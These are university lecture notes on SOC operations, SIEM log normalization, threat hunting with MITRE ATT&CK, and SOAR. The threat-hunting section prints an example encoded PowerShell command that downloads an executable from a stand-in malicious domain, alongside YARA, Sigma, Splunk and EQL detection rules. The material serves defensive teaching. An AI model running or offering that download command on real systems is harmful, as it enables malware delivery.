Lecture 16 - SOC
Chapter 15: Security Operation Center (SOC) — Security Incident Management
- Lecturer: Dr. Somchart Fugkeaw (somchart@siit.tu.ac.th)
What is SOC?
- A Security Operations Center (SOC) is a team of IT security professionals that protects the organization by:
- Monitoring cyber threats
- Detecting cyber threats
- Analyzing cyber threats
- Investigating cyber threats
Analogy: A SOC is like the security control room of a shopping mall — guards watch the CCTV screens 24/7, spot anything suspicious, investigate it, and send someone to deal with it.
SOC Functions
- The SOC sits in the middle and performs these functions:
- Left side (protect & improve):
- Prevention & Proactive Monitoring
- Security Intelligence
- Recovery & Remediation
- Security Posture Refinement
- Right side (operate & respond):
- Alert Management
- Incident Response
- Log Management
- Compliance
- Left side (protect & improve):
SOC (Inputs to the SOC)
- Everything below feeds into the SOC:
- Log Collection
- Aggregation / Correlation
- Reporting
- SIEM
- Research & Development
- Ticketing
- Knowledge Base
- Threat Intelligence
Analogy: The SOC is the brain; logs, SIEM, threat intel, tickets, and the knowledge base are its senses and memory.
The Members of the SOC Team
- SOC Manager
- Tier 1 — Triage / Alert Analysts
- Provide initial response and containment measures
- Escalate incidents to higher tiers if necessary
- Tier 2 — Investigation
- Responsible for investigating security incidents and determining the root cause
- Analyze logs, network traffic, and other data sources to identify the source of the incident
- Tier 3 — Threat Hunting
- Proactively hunt for threats and vulnerabilities in the organization's environment
- Provide detailed threat intelligence reports and recommendations for remediation
Analogy (Hospital ER):
- Tier 1 = triage nurse (quickly checks who's urgent, stabilizes, sends up)
- Tier 2 = doctor (diagnoses the root cause)
- Tier 3 = medical researcher / specialist (looks for hidden diseases before patients show symptoms)
Key SOC Roles and Responsibilities
- SOC Manager
- The leaders of their organization; top-level responsibilities fall to them
- Report directly to the CISO
- Compliance Auditor
- Plays a key role in the standardization of processes
- Ensures protocols and compliance are being followed
- Incident Responder
- React quickly to alerts and, when necessary, react to alerts as soon as possible
- SOC Analyst
- Responsible for reviewing past incidents and determining the root cause behind them
- Threat Hunter
- Run tests across a network to identify weaknesses before they can be exploited
Tools Used in Security Operations Center
- Asset Discovery
- Security Information and Event Monitoring (SIEM)
- Endpoint Detection and Response (EDR)
- Intrusion Detection System (IDS) / Intrusion Prevention System (IPS)
- Vulnerability Assessment
SIEM
- SIEM = Security Information and Event Manager
- SIEM collects from centralized services such as:
- AntiVirus
- Vulnerability Scanner
- DLP (Data Loss Prevention)
- Firewall
SIEM (Definition & Function)
- SIEM provides real-time analysis of security alerts generated by applications and network hardware.
- The fundamental function of SIEM is to:
- Collect, store, and analyze data from multiple systems
- Identify deviations or potential cyber-attacks
- Take actions on it
Analogy: SIEM is like a detective's evidence board — it pins up clues (logs) from many places (firewall, servers, antivirus) and draws strings between them to reveal a crime.
Incident Actions
- Three possible actions based on how confident we are about an alert:
| Action | Confidence |
|---|---|
| Notification | True Positive |
| Alarm | Unknown |
| Ignore | False Positive |
- True Positive → real attack → Notify
- Unknown → not sure yet → raise an Alarm for investigation
- False Positive → not actually an attack → Ignore
Analogy: A smoke detector — real fire (true positive) → call the fire department; burning smell, not sure(unknown) → go check; toast burned (false positive) → ignore it.
Components and Capabilities of SIEM
- Log Collection
- Log Analysis
- Event Correlation
- Log Forensics
- IT Compliance
- Application Log Monitoring
- Object Access Auditing
- Real-time Alerting
- User Activity Monitoring
- Dashboards
- Reporting
- File Integrity Monitoring
- System and Device Log Monitoring
- Log Retention
SIEM Capabilities
- Main Features
- Threat detection
- Investigation
- Time to respond
- Additional Features
- Basic security monitoring
- Advanced threat detection
- Forensics & incident response
- Log collection
- Normalization
- Notifications and alerts
- Security incident detection
- Threat response workflow
Core Architecture (of SIEM)
- Data Collection Layer
- Agents and connectors gather logs, metrics, and events from devices
- e.g., firewalls, IDS/IPS, servers, endpoints, applications, cloud services
- Normalization Layer
- Converts heterogeneous log formats (Syslog, JSON, XML) into a unified schema for consistent analysis
- Correlation Engine
- Applies predefined or adaptive rules to detect patterns of malicious behavior
- e.g., failed logins, lateral movement
- Storage Layer
- Uses databases or data lakes optimized for high-throughput ingestion and long-term retention
- e.g., Elasticsearch, Hadoop
- Analytics & Visualization Layer
- Provides dashboards, queries, reports, and visualization for SOC analysts
- Incident Response & Orchestration Layer
- Supports workflow automation and ticketing integration (e.g., with SOAR systems)
Analogy (Restaurant kitchen):
- Collection = delivery trucks bringing ingredients
- Normalization = prep cooks cutting everything into a standard size
- Correlation = head chef combining ingredients into a recipe (pattern)
- Storage = fridge / pantry
- Visualization = the menu / plating shown to the customer
- Orchestration = waiters who act on the order automatically
Example Workflow — Scenario: Ingest + Normalize Firewall Logs into SIEM
-
Data Source: Palo Alto Firewall generates syslog messages
<134>2025-11-08T10:15:22Z PA-FW01 1,2025/11/08 10:15:22,THREAT,alert,192.168.1.100,10.0.0.2,deny,tcp,80 -
Transport: Syslog over TCP → Logstash listener
-
Parsing / Normalization: Logstash applies a GROK pattern:
%{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:device} %{WORD:event_type},%{WORD:action},%{IP:src_ip},%{IP:dst_ip},%{WORD:verdict},%{WORD:protocol},%{INT:port} -
Output: normalized JSON
-
Ingested into SIEM → stored → correlated with IDS alerts or login failures
Firewall Log Ingestion and Normalization in SIEM
-
Example: Palo Alto Firewall → Logstash → SIEM
- FIREWALL — Generate syslog event
- TRANSPORT — Send over TCP
- LOGSTASH — Parse + normalize
- SIEM — Store + correlate
-
Raw syslog (simplified example):
<134>2025-11-08T10:15:22Z PA-FW01 THREAT,alert,192.168.1.100,10.0.0.2,deny,tcp,80 -
Normalized JSON:
{ "device": "PA-FW01", "event_type": "THREAT", "src_ip": "192.168.1.100", "dst_ip": "10.0.0.2", "action": "deny", "protocol": "tcp", "port": 80} -
SIEM correlation: blocked connection + IDS alert + repeated login failures → investigate suspicious activity
-
Key distinction:
- Ingestion = collect
- Parsing = extract
- Normalization = standardize
- Correlation = connect events
Analogy: Ingestion = receiving letters; Parsing = opening and reading who sent it, to whom, what; Normalization = typing them into the same form template; Correlation = noticing 3 letters from the same sender are all threats.
GROK
-
GROK combines regular expressions with named patterns to simplify log parsing
-
Each pattern corresponds to a predefined regular expression that matches specific data types, such as:
- IPs, timestamps, usernames, message strings
-
Format:
%{PATTERN_NAME:field_name}PATTERN_NAME: built-in or custom regex alias (e.g.,IP,WORD,NUMBER,DATA,GREEDYDATA)field_name: name assigned to the extracted value in the structured output
Analogy: GROK is like a fill-in-the-blank stencil.
%{IP:src_ip}means "the thing here looks like an IP address — write it in the box labeledsrc_ip."
Example: Simple Syslog Parsing
-
Raw Log
<134>2025-11-08T10:15:22Z PA-FW01 1,2025/11/08 10:15:22,THREAT,alert,192.168.1.100,10.0.0.2,deny,tcp,80 -
GROK Pattern
<%{NUMBER:priority}>%{TIMESTAMP_ISO8601:timestamp} %{HOSTNAME:device} %{NUMBER:version},%{DATE:date} %{TIME:time},%{WORD:event_type},%{WORD:severity},%{IP:src_ip},%{IP:dst_ip},%{WORD:action},%{WORD:protocol},%{NUMBER:port} -
Output: JSON
[Image]
Normalization Pipeline
[Raw Logs]- ↓ GROK Parsing
- ↓ Field Normalization (rename / type / date)
- ↓ Enrichment (GeoIP, Threat Intelligence)
- ↓
[Normalized Log JSON to SIEM Index]
Log Normalization
-
Log normalization is the process of transforming heterogeneous log data — which comes in many different formats, syntaxes, and field names — into a consistent, structured, and standardized format that a SIEM can understand, search, and correlate.
-
Example — the same IP in 3 different log types:
-
Firewall Log
<134>2025-11-08T10:15:22Z PA-FW01 deny tcp 192.168.1.10 10.0.0.2 443 -
Windows Security Log
EventID=4625, User=Admin, SourceNetworkAddress=192.168.1.10, LogonType=3, FailureReason=BadPassword -
Web Server Log
192.168.1.10 - - [08/Nov/2025:14:12:42 +0700] "GET /login HTTP/1.1" 401 512
-
-
Each log uses different fields, different separators, and different orderings → making correlation across sources difficult
Analogy: Three people telling you the same story in Thai, English, and Japanese. Normalization = translating all of them into one language so you can compare them.
Normalization Techniques
-
GROK
-
Field renaming and standardization (
rename,mutate) -
Type conversion
convert => { "port" => "integer" } -
Timestamp formatting (
datefilter) -
GeoIP or enrichment
-
Output as JSON
Summary (Log Pipeline)
| Step | Purpose | Example Tool |
|---|---|---|
| Collection | Gather logs | Syslog, Filebeat |
| Parsing | Extract fields | GROK |
| Normalization | Standardize field names & data types | Logstash filters |
| Enrichment | Add context (GeoIP, Threat Intel) | Enrichment plugins |
| Correlation / Analysis | SIEM detects patterns | Splunk, QRadar, Sentinel |
After Normalization
- Now, all logs share the same key names and data types — enabling correlation rules like:
- "If
failed_loginfrom IP = X is followed byfirewall denyfor the same IP within 5 minutes → trigger brute-force alert."
- "If
\boxed{\text{failed_login}(IP = X) ;\rightarrow; \text{firewall_deny}(IP = X) ;\text{ within } \Delta t \le 5 \text{ min} ;\Rightarrow; \text{Brute-force Alert}}
[Image]
Top 10 Open Source SIEM Tools
- SIEMonster
- OSSEC
- Snort
- The ELK Stack
- OSSIM
- Sagan
- Prelude
- Wazuh
- MozDef
- Apache Metron
SIEM Example — AlienVault Unified SIEM (Screenshots)
[Image]
- Executive dashboard: Last SIEM vs Logger Events, Threat Level, Events by Sensor/Data Source, Unresolved Alarms vs Open Tickets, Top 10 Events by Product Type, Top 10 Event Categories
[Image]
- Security Events (SIEM) view: search, filters, list of events with Signature, Date, Sensor, Source, Destination, Asset, Risk
[Image]
- Vulnerabilities view: Vulnerabilities Found (Serious / High / Medium / Low / Info), Summary of Scanned Hosts
Example Event Log (Correlated Events for one host 128.192.x.6)
| Date / Time | Source | Destination | Event |
|---|---|---|---|
| 2012-02-09 17:58:52 | 128.192.x.6 | 0.0.0.0 | OfficeScan Virus: Failed to Clean or Quarantine — Mal_Hifrm |
| 2012-02-06 13:18:56 | 128.192.x.6 | 98.139.135.21 | snort: "ET DROP Known Bot C&C Server Traffic TCP (group 243)" |
| 2012-02-01 14:48:36 | 128.192.x.6 | 0.0.0.0 | Malicious Domain Lookup — img717.imageshack.us — domain aggressive malicious |
| 2012-02-01 13:05:25 | 207.171.162.95 | 128.192.x.6 | snort: "SPECIFIC-THREATS Microsoft IE malformed iframe buffer overflow attempt" |
- Reading it from bottom (oldest) to top (newest) shows a story: browser exploit → malicious domain lookup → bot C&C traffic → virus that can't be cleaned
Analogy: Each line alone is a small clue; correlation lines them up like frames of a CCTV video to reveal the full break-in.
Alarms
[Image]
- AlienVault Alarms list: Alarm name, Risk, Sensor, First event, Last event, Source, Destination (e.g., SSNCAP: Full Packet Data, AV Scan / SSH service discovery, SSH Scanning Detected, AV Malware trojan detected, snort "ET COMPROMISED Known Compromised or Hostile Host Traffic", AV Malware spyware)
[Image]
- Raw packet payload view (hex dump) with Snort rule detection: file
shellcode.rules, rulealert ip $EXTERNAL_NET any -> $HOME_NET any, msg "SHELLCODE x86 inc ecx NOOP", content "AAAA…", classtype: shellcode-detect
Multi-tenancy
[Image]
- AlienVault asset structure: one SIEM serving many entities (University of Georgia → Office of CIO → Office of Information Security / EITS, Dean of Students, Franklin College → Statistics, College of Veterinary Medicine, ITOS, Auxiliary Services, Bursar, College of Education…), each with its own assets
- Multi-tenancy = one SIEM platform serves multiple separate organizations/departments ("tenants"), each seeing only its own assets and alerts
Analogy: An apartment building — one building (SIEM), many tenants (departments), each with their own locked room.
Incident Handling Flow
- Notice of incident sent to responsible team, e.g., CERT
- Repeat offenders blocked
- SOC Incident Response Team handles critical incidents:
- Containment
- Remediation
- Resolution
- Closure
Benefits of Integrating MITRE ATT&CK with SIEM
- Complete Visibility of Security Posture
- Gives organizations a complete view of their security posture
- Combining the two helps them understand attackers' TTPs (Tactics, Techniques, and Procedures) and learn ways to defend networks and critical assets
- Helps accurately identify potential vulnerabilities and fix them before they're exploited
- Quick Detection & Response to Threat
- Using the rich data and insights of MITRE ATT&CK, organizations can prioritize and investigate security events and incidents effectively
- Helps respond quickly and reduce the impact of an attack on systems and data
- Streamline Security Operations & Processes
- Helps automate and streamline security operations
- Framework offers updated info on evolving threats and latest TTPs → organization stays ahead of the threat landscape
- With latest threat intel + advanced detection + automated response, the SOC team stays informed and aligned
- Enables informed decisions and effective prioritization of resources
- Bridge Existing Defense Gaps
- Lets the security team assess the effectiveness of their existing defense
- MITRE ATT&CK provides latest TTPs of attack groups, stages of attack in the cyberattack lifecycle, and methods to detect, respond, and defend
- Team can verify whether necessary defenses are in place
- Acts as a guide to identify security gaps and build strong defense
- SOC Maturity
- The SOC is the security hub of an organization — constantly detecting, monitoring, and responding to threats
- The efficiency and effectiveness of the SOC team keeps the organization secure and resilient
- Integrating SIEM + MITRE ATT&CK builds a robust cybersecurity framework, enhances detection & response, improves overall security posture
- Helps test and measure the maturity and effectiveness of the SOC
Analogy: SIEM is the security camera; MITRE ATT&CK is the criminal playbook / mugshot book. Together, the guard not only sees movement but recognizes "this is exactly how burglar gang X breaks in."
Scale of Cyber Security (The SANS Sliding Scale of Cyber Security)
- From left (foundation) → right (most advanced):
| Category | Description | Examples |
|---|---|---|
| Architecture | The planning, establishing, and upkeep of systems with security in mind | Vulnerability Management |
| Passive Defence | Systems added to the Architecture to provide reliable defence or insight against threats without consistent human interaction | Technical Controls |
| Active Defence | The process of analysts monitoring for, responding to, and learning from adversaries internal to the network | Protective Monitoring, Threat Hunting |
| Intelligence | Collecting data, exploiting it into information, and producing intelligence | Cyber Threat Intelligence, Digital Risk & Intelligence |
| Offence | Legal countermeasures and self-defence action against an adversary | — |
Analogy (Protecting a house): Architecture = building with strong walls; Passive = locks and alarms; Active = a guard patrolling; Intelligence = studying local burglar patterns; Offence = legally pursuing the burglar.
What is Threat Hunting?
- Threat hunting is the proactive search for indicators of compromise (IOCs) within an organization's network and systems
- It is a proactive approach to security — looking for signs of an attack before it becomes a full-blown incident
- By using MITRE ATT&CK as a guide, threat hunters can focus on the TTPs used by attackers, improving their chances of detecting and responding to threats
Threat Hunting (Definition)
- A proactive, analyst-driven process of searching for hidden threats that evade automated detection systems(e.g., IDS, antivirus, SIEM correlation rules), such as:
- Advanced Persistent Threats (APTs)
- Insider abuse
- Undetected malware
- Unlike reactive incident response, threat hunting assumes compromise and seeks subtle indicators across logs, telemetry, and behavioral data
Analogy: Incident response = calling the doctor when you're sick. Threat hunting = getting a full health check-up even when you feel fine, assuming something might be hiding.
APT vs. Traditional Cyberattack
| Characteristic | Traditional Attack | APT |
|---|---|---|
| Target | Often opportunistic | Usually specifically selected |
| Duration | Often short | Potentially long-term |
| Sophistication | Varies | Often high |
| Persistence | Not always required | Central objective |
| Primary objective | Fraud, disruption, theft | Espionage, theft, or strategic disruption |
| Detection | May be relatively straightforward | Often designed to evade detection |
Analogy: Traditional attack = a pickpocket (quick, random victim). APT = a spy living in your house for months, quietly copying documents.
The Hunting Maturity Model (HMM)
- Level 0 — INITIAL
- Relies primarily on automated alerting
- Little or no routine data collection
- Level 1 — MINIMAL
- Incorporates threat intelligence indicator searches
- Moderate or high level of routine data collection
- Level 2 — PROCEDURAL
- Follows data analysis procedures created by others
- High or very high level of routine data collection
- Level 3 — INNOVATIVE
- Creates new data analysis procedures
- High or very high level of routine data collection
- Level 4 — LEADING
- Automates the majority of successful data analysis procedures
- High or very high level of routine data collection
Analogy (Learning to cook): Level 0 = only uses the microwave timer beep; Level 1 = checks known bad ingredients; Level 2 = follows other people's recipes; Level 3 = invents own recipes; Level 4 = builds a robot kitchen that cooks the best recipes automatically.
Core Components (of Threat Hunting)
| Component | Description |
|---|---|
| Data Sources | Telemetry and logs from endpoints, network sensors, cloud, identity systems, etc. |
| Analytics Platform | SIEM, EDR/XDR, or specialized hunting platform (e.g., Splunk, ELK, Microsoft Sentinel, CrowdStrike Falcon) |
| Threat Intelligence | External feeds (STIX/TAXII, MISP) providing IOCs like hashes, IPs, domains, TTPs |
| Hunting Hypothesis | A structured assumption guiding searches (e.g., "If an attacker obtained admin access, PowerShell scripts would show obfuscated commands") |
| Detection & Validation | Querying, correlating, and pivoting data to identify anomalous behavior |
What are STIX, TAXII, and MISP?
| Technology | Full Name | Purpose |
|---|---|---|
| STIX | Structured Threat Information Expression | A standardized format for representing and exchanging cyber threat intelligence |
| TAXII | Trusted Automated Exchange of Intelligence Information | A protocol for automatically exchanging threat intelligence between systems |
| MISP | Malware Information Sharing Platform | An open-source platform for collecting, managing, correlating, and sharing threat intelligence |
Analogy: STIX = the language/format of the letter; TAXII = the postal service that delivers it; MISP = the post office / library where letters are stored and shared.
SOC Tools Model
[Endpoints / Network Devices / Cloud Services]- ↓
[Log Collectors / EDR Agents / Sensors]- ↓
[SIEM or Data Lake (Elasticsearch, Splunk, Sentinel)]- ↓
[Query Engine + ML Models + Threat Intelligence Correlation]- ↓
[Analyst Workbench / Dashboards / Case Management]
Threat Hunting Workflow
- Phase 1: Hypothesis Formulation
- Define a question or assumption based on threat intelligence, MITRE ATT&CK, or recent TTPs
- Example: "Adversaries may use
rundll32.exeto execute malicious DLLs downloaded from the Internet."
- Phase 2: Data Acquisition & Filtering
-
Query relevant data sources via SIEM or query languages such as:
- KQL (Sentinel)
- SPL (Splunk)
- EQL (Elastic)
-
Example (Splunk):
index=sysmon EventCode=1 Image="*rundll32.exe" CommandLine="*http*" -
Filter by timeframe, user, or endpoint group
-
- Phase 3: Data Analysis and Correlation
- Event correlation: match login anomalies + lateral movement
- Statistical analysis: detect rare process–parent combinations
- Behavioral baselining: identify outliers from normal activity
- YARA rules / Sigma rules for known patterns
Analogy: Like a scientist: Phase 1 = form a hypothesis; Phase 2 = collect the data; Phase 3 = analyze to see if the hypothesis holds.
YARA vs. Sigma: Detecting Malicious Patterns
-
Complementary detection rules for threat hunting and security operations
-
YARA — File / memory content
-
Scans binaries, files, or process memory
-
Matches strings, byte patterns, and conditions
-
Commonly used in malware analysis and EDR
-
Example:
rule Suspicious_PS { strings: $a = "powershell" $b = "-EncodedCommand" condition: all of them}
-
-
Sigma — Security logs / events
-
Searches structured event fields
-
Describes suspicious behavior across log sources
-
Converted to SIEM-specific detection queries
-
Example:
title: Encoded PowerShelllogsource: category: process_creationdetection: selection: CommandLine|contains: "-EncodedCommand" condition: selection
-
-
Key idea:
- YARA asks "What is in this file?"
- Sigma asks "What happened in these logs?"
Analogy: YARA = X-ray scanner at the airport looking inside the suitcase. Sigma = CCTV reviewerwatching what people did in the terminal.
Threat Hunting Workflow (2)
- Phase 4: Detection Validation — validate findings by:
- Cross-referencing threat intel (hashes, domains, IPs)
- Sandboxing suspicious binaries
- Checking persistence (registry, services, tasks)
- Endpoint forensics (memory dump, Volatility analysis)
- Phase 5: Incident Escalation & Response — if threat confirmed:
- Create an incident case in SOAR
- Execute containment playbook (e.g., isolate host, disable account)
- Feed newly discovered indicators back into SIEM detection rules
Technical Tools & Frameworks
| Category | Common Tools |
|---|---|
| SIEM / Data Analysis | Splunk, Elastic, QRadar, Sentinel |
| Endpoint Telemetry | Sysmon, OSQuery, Zeek, Velociraptor |
| Threat Intelligence | MISP, OpenCTI, Abuse.ch Feeds |
| Hunting Query Languages | KQL (Sentinel), EQL (Elastic), SPL (Splunk), SQL (Osquery) |
| Automation / Playbooks | SOAR platforms (TheHive, Cortex XSOAR, Shuffle) |
Example: Fileless Malware Hunt (Windows Environment)
-
Hypothesis: Attackers may use PowerShell to download payloads without touching disk
-
Data Sources: Sysmon logs, PowerShell operational logs
-
Query (Elastic EQL):
process where process_name == "powershell.exe" and command_line matches "Invoke-WebRequest*" and not parent_process_name in ("explorer.exe", "powershell_ise.exe") -
Follow-up:
- Retrieve base64-encoded payload
- Decode → check with YARA or hash lookup
- Correlate with external IP reputation
Analogy: "Fileless" malware is like a burglar who never leaves footprints on the floor — they only exist "in the air" (memory). So you look at what commands were run instead of what files were dropped.
1. Retrieve Base64-Encoded Payload
-
Attackers often obfuscate malicious scripts or commands to evade simple detection rules and signatures
-
A common trick in PowerShell attacks: encode the payload in Base64 and pass it via the
-EncodedCommandflag -
Example: Suspicious Command
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAtAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBpAGwAbABlAGcAYQBsAGQAbwBtAGEAaQBuAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA -
This Base64 string hides the real script
-
Action: extract the encoded part and decode it:
IEX (New-Object Net.WebClient).DownloadFile("http://illegaldomain.com/payload.exe") -
Now we clearly see it's attempting to download an
.exefile from a suspicious domain
Analogy: Base64 is like writing a message in a simple code language — not real encryption, just a disguise. Decoding = taking off the costume.
2. Decode → Check with YARA or Hash Lookup
- Once decoded, analyze the payload content to confirm if it's malicious
- a) If it's a Script or Binary
- Save the decoded content as a file, e.g.,
payload.ps1orpayload.exe
- Save the decoded content as a file, e.g.,
- b) Run YARA Rules
-
YARA is a pattern-matching tool used to identify malware families or signatures based on strings, byte sequences, or behavior traits
rule Downloader_PowerShell{ strings: $s1 = "New-Object Net.WebClient" $s2 = "DownloadFile" condition: all of them} -
If the rule matches → the payload exhibits known downloader behavior
-
- Then, generate file hashes + compare the hash against:
- VirusTotal API
- MISP / OpenCTI
- Internal IOC database
Analogy: A file hash is like a fingerprint. You compare it against a criminal fingerprint database(VirusTotal, MISP).
3. Correlate with External IP / Domain Reputation
-
Attackers often reuse infrastructure (domains, IPs, C2 servers)
-
Enrich findings by querying threat intelligence services to check if an IP/domain is malicious
-
a) Identify Target Domain/IP — from the decoded payload:
http://illegaldomain.com/payload.exe
-
b) Query Threat Intelligence Feeds — use APIs or integrations such as:
- VirusTotal, AbuseIPDB, AlienVault OTX, MISP / ThreatFox, Cisco Talos / GreyNoise
-
Example API Query:
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=203.0.113.55" \ -H "Key: <your_api_key>" -
Example Result:
{ "ipAddress": "203.0.113.55", "abuseConfidenceScore": 96, "countryCode": "RU", "domain": "illegaldomain.com", "usageType": "Command & Control Server"} -
This confirms the IP/domain is part of known C2 infrastructure
-
Note: MISP = Malware Information Sharing Platform & Threat Sharing
Analogy: Like checking a phone number on a scam-caller lookup app — "96% of users reported this number as scam."
Threat Hunting with MITRE ATT&CK™
- MITRE ATT&CK™ (Adversarial Tactics, Techniques & Common Knowledge) is an empirically driven framework that facilitates gathering, interpreting, and sharing information on cyber criminals ("adversaries") and their TTPs, to derive taxonomies of adversaries
- The info gathered, analyzed, and shared by ATT&CK helps cyber security researchers, incident responders, red teams, and others to:
- Analyze intelligence on adversaries' TTPs
- Understand what tactics and techniques to detect and mitigate
- By grouping and overlaying info from adversary groups, ATT&CK helps create a threat-centric understandingof a user's vulnerabilities and customize defenses
- Threat intelligence teams using ATT&CK can give decision makers actionable information to prioritize resources and plan the organization's cybersecurity program
MITRE ATT&CK (Matrix)
[Image]
- ATT&CK Navigator matrix — columns are Tactics (the "why"), cells are Techniques (the "how"):
- Reconnaissance (10 techniques)
- Resource Development (7)
- Initial Access (8)
- Execution (10)
- Persistence (18)
- Privilege Escalation (12)
- Defense Evasion (29)
- Credential Access (14)
- Discovery (25)
- Lateral Movement (8)
- Collection (16)
- Command and Control (16)
Analogy: ATT&CK is a football playbook of the opposing team — columns = phases of the game (attack build-up, shooting…), cells = specific plays they use.
Threat Hunting Loop
-
A continuous cycle:
- Create Hypotheses
- Investigate via Tools and Techniques
- Uncover New Patterns and TTPs
- Inform and Enrich Analytics
- → back to 1
-
See the guidebook: https://hodigital.blog.gov.uk/wp-content/uploads/sites/161/2020/03/Detecting-the-Unknown-A-Guide-to-Threat-Hunting-v2.0.pdf
Threat Hunting with MITRE ATT&CK (Key Points)
- A key component of threat hunting is building, testing, and refining analytic detection capabilities
- ATT&CK contains an ever-evolving taxonomy of the behavioral TTPs adversaries use to compromise networks
- With ATT&CK you can leverage hypothesis-driven use cases to detect signs of active or residual adversarial presence across your enterprise
- Artifacts found during ATT&CK-facilitated hunting are used to build analytics for custom detections, which:
- May be continuously monitored
- Can be triggered by future malicious activity
Incident Response
- Incident response is the process of responding to a security incident, such as a data breach or ransomware attack
- Involves a range of activities:
- Identifying and containing the threat
- Recovering from the incident
- Mitigating potential damage
- Using MITRE ATT&CK as a framework helps responders understand attackers' TTPs → respond more effectively
Containment vs. Corrective Action
- Containment actions
- Try to limit a concrete problem's extent and establish normal operations
- Corrective actions
- Are retrospective
- Should prevent the problem from ever happening again
Analogy (Leaking pipe): Containment = putting a bucket under the leak and shutting the valve. Corrective = replacing the pipe so it never leaks again.
Selecting a SIEM
- Look at vendors
- Off-the-shelf features
- Ability for customization
- Use cases
- Automated alerts to departments
- Elevated alerts to SOC
- Multi-tenancy
- Functionality
- Designate log sources
- AV, SNORT
- DLP
Security Orchestration Automation and Response (SOAR)
- SOAR coordinates, executes, and automates tasks between various people and tools all within a single platform
- A collection of software solutions and tools that allow organizations to streamline security operations in three key areas:
- Threat and vulnerability management
- Incident response
- Security operations automation
Analogy: SOAR is the orchestra conductor — many instruments (firewall, EDR, email gateway, ticketing) each play their part on cue, automatically.
Elements of SOAR
- Threat Intelligence — ingests and analyzes data
- Orchestration — connects and integrates disparate tools
- Automation — automates low-level manual processes
- Response — offers a single-view dashboard to plan, manage, monitor, and report incident response
A Comprehensive SOAR Platform Helps Improve Security Operations By:
- Combining security orchestration, intelligent automation, incident management, and interactive investigations into a single solution
- Breaking down silos by facilitating team collaboration and enabling analysts to take automatic actions on tools across their security stack
- Providing security teams with a single, centralized console to manage and coordinate all aspects of their company's security
- Optimizing case management — efficiencies in opening and closing tickets, and investigating and resolving incidents
SIEM vs. SOAR
- SIEM = "ORIENT"
- Analysis: Dashboards, Alerts, Reports, Link Analysis Visualization
- Correlation Engine: Cross-Log Source Correlation, User Behavior Analytics, Vulnerability Management, Cyber Threat Intelligence, Network Model / Hierarchy
- SIEM Alerts → flow from ORIENT → DECIDE
- SOAR = "DECIDE"
- Playbooks: Full Automated Playbooks, Semi Automated Playbooks, Manual Playbooks
- Types of Automation: Defensive Escalation Automation, Defensive Enrichment Automation, Defensive Mitigation Automation, Forensic Escalation Automation, Forensic Enrichment Automation, Forensic Analysis Automation
Analogy: SIEM = the eyes ("something's wrong over there!"). SOAR = the hands ("I'll go fix it automatically").
Playbook
- A playbook (in cybersecurity, particularly SOAR) refers to a predefined set of instructions or workflowsdesigned to guide and automate the response to specific security incidents or scenarios
Analogy: Like a fire drill procedure card — when the alarm rings, everyone follows the same steps without having to think.
SOAR Playbook Example
- Phishing Response Playbook
- Scan the email for malicious links or attachments
- Block the sender's email address
- Notify affected employees
- Quarantine similar emails
- Ransomware Detection Playbook
- Isolate the infected system from the network
- Scan for and identify the ransomware type
- Notify the security team for further investigation
- Restore files from backups, if available
- DDoS Mitigation Playbook
- Detect unusual traffic patterns
- Block suspicious IPs
- Redirect traffic through a DDoS protection service
- Notify the network operations team
SIEM vs. SOAR (Comparison)
- SIEM
- Traditional infrastructure
- More human intervention
- Basic security protocols
- SOAR
- Entire network
- Larger data set
- More automation
| SIEM | SOAR |
|---|---|
| Aggregates logs | Aggregates security alerts and threat intelligence |
| Generates alerts | Ingests alerts from SIEM and other tools |
| Analyzes data to identify potential threats | Enriches and correlates alerts to determine risk |
| Limited response workflows | End-to-end, automation-powered response workflows |
| Notifies users and analysts of suspicious activity | Orchestrates actions across integrated tools |
What SOAR Can Do that a SIEM Cannot
- Alert enrichment with threat intelligence, IOC correlations, and other data
- Indicator of Compromise (IOC) = a forensic term for the evidence on a device that points to a security breach
- Incident-specific, automation-powered playbooks
- (A plan you develop that outlines the steps you will take in the event of a security incident)
- Orchestrated actions across the security environment, leveraging hundreds of integrations
- Comprehensive dashboards and reporting
SIEM → SOAR Flow
- Sources: Security Devices, Network Devices, Endpoints, Apps, Servers
- ↓
- SIEM → produces: Alerts, Dashboards, Event Logs, Custom Reports
- ↓ (Alerts)
- SOAR → produces: Response Bots, Automated Playbooks, Case Management
Security Operations (Microsoft Example)
[Image]
- Microsoft security operations architecture: Azure Sentinel (SIEM + SOAR + ML/UEBA + Security Data Lake) gives a Broad Enterprise View; Microsoft Defender (XDR) + Azure Defender + Microsoft 365 Defender give Deep Insights; raw security & activity logs from infrastructure, apps, PaaS, OT/IoT, identity, endpoints, SaaS; analysts & hunters, Microsoft Threat Intelligence, managed detection & response partners
- Improve & Learn by Measuring:
- Responsiveness — Mean Time to Acknowledge (MTTA)
- Effectiveness — Mean Time to Remediate (MTTR)
- SOAR reduces analyst effort/time per incident, increasing overall SOC capacity
Endpoint Evolution to EDR: A Good Start, but Not Enough
- Progression of Endpoint Security:
- AV — Antivirus: protects leveraging a DB of known signatures
- NGAV — Next-Generation Antivirus: provides exploit protection, ML-based detection
- ESS — Endpoint Security Suite: Endpoint Protection Platforms deliver NGAV + endpoint security policies and modules
- EDR — Endpoint Detection and Response: NGEP + detects and contains security incidents and restores hosts to pre-attack condition
- XDR — Extended Detection and Response: cross-data analytics, insights, driving most effective prevention, detection & response
Extended Detection and Response (XDR)
- XDR delivers visibility into data across networks, clouds, endpoints, and applications while applying analytics and automation to detect, analyze, hunt, and remediate today's and tomorrow's threats
- Where EDR improved malware detection over antivirus, XDR extends the range of EDR to encompass more deployed security solutions → XDR has broader capability than EDR
- Uses the latest technologies to provide higher visibility, collect and correlate threat info, and employ analytics and automation
- Also referred to as Cross-layered detection and response
- XDR tools are generally SaaS (Software as a Service)-based applications
Analogy: EDR = a security guard watching one room (the endpoint). XDR = a guard with cameras in every room, hallway, parking lot, and the cloud, all connected to one screen.
XDR Characteristics
| Characteristic | Description |
|---|---|
| Software as a Service (SaaS) | XDR solutions are usually found natively in the cloud, and can readily access sophisticated AI, ML, and data analytics services |
